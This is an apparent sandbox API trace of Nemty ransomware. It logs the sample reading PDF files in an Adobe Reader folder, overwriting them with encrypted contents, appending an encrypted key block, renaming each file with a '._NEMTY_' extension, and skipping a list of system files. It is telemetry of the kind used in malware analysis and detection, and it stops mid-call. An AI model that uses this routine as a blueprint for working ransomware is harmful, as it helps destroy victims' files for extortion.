WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0188.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.313] Sleep (dwMilliseconds=0x5) [0188.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23e51bb0, dwHighDateTime=0x1d561e8)) [0188.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23e51bb0, dwHighDateTime=0x1d561e8)) [0188.321] GetLastError () returned 0xb7 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.325] GetLastError () returned 0xb7 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.325] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.325] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.325] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.325] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="zfI58q/pEdEOwih9LLzW2pa0ekB/kWSKIRL3hpCYbF7TQZZuKM/Ff2il01UBpUL4\r\noaeAkiGKehwTq+GRJBCblZoYx/b/T40CoqJpHAu52P6zmBZc2GHXt44um/r9Vn10\r\nu4rlcxIu8zD3EL1U6Dkp09+Q8l4lXaKJVDkFMcONgtYDcXnJELVTxr0qBZCYPIGz\r\nAc8Lj6nVGG9zq08vkCrdENbyAdU9Hlz1wT1u611SWy4fSFKL0Vzp9UtwWr1tnodo\r\nCxU4Mwr5oaxs4pys9s+KTjGP8a4vMwYi3A7mfOdsq9c0g1cBRqUYscgRdmC7oF9w\r\nf1GCRUTpm6xclh8n7ZnduA==\r\n", pcchString=0x653df5c) returned 1 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.326] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.326] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=52696) returned 1 [0188.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xcdd0) returned 0x6352c48 [0188.327] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.327] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xcdd0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xcdd0, lpOverlapped=0x0) returned 1 [0188.331] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.331] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xcdd0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xcdd0, lpOverlapped=0x0) returned 1 [0188.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.332] SetFilePointer (in: hFile=0x320, lDistanceToMove=52696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcdd8 [0188.332] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.332] CloseHandle (hObject=0x320) returned 1 [0188.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.332] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.333] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.333] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.334] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0188.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0188.334] Sleep (dwMilliseconds=0x5) [0188.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23e9de70, dwHighDateTime=0x1d561e8)) [0188.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23e9de70, dwHighDateTime=0x1d561e8)) [0188.357] GetLastError () returned 0x0 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.357] GetLastError () returned 0x0 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.357] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.357] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.357] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.357] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="t4kLXJCD27YJkTmqRN5GredykrC39aJvCHasap96IwH1Sf2irmVqmLFWAcLr731L\r\nwgr3BJgZfuYquIN5HyC9u/BFpj5cBKbgVkpMpwMfzduJBwbvq7Ox+njlD66Mtkbu\r\nl5lKYpUX8LdNyO2qgeth7M5Mhw6kw5RGbWBF0bEOPJCaUMe3T8IGbrdyxDGaxyL1\r\noTMxgbvAH/rSKt/ZoELCSSmyFO18RvNcxjXUQMXuYcjs/2+SXCYyDBEGRdy62vwE\r\nT5MWTsEL7AT0qL2kE8mMorZiI8Hdit3YCsgsAvvzRFjpy1Its1rS3gUqV3OX9W+o\r\ne4ztYOGXvp/x/HNm1qzYXA==\r\n", pcchString=0x653df5c) returned 1 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.358] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=35990) returned 1 [0188.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8c90) returned 0x6352c48 [0188.358] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.358] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8c90, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8c90, lpOverlapped=0x0) returned 1 [0188.363] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.363] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8c90, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8c90, lpOverlapped=0x0) returned 1 [0188.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.364] SetFilePointer (in: hFile=0x320, lDistanceToMove=35990, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c96 [0188.364] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.364] CloseHandle (hObject=0x320) returned 1 [0188.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0188.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.364] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0188.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.364] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.365] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.365] lstrcmpiW (lpString1="StandardBusiness.pdf", 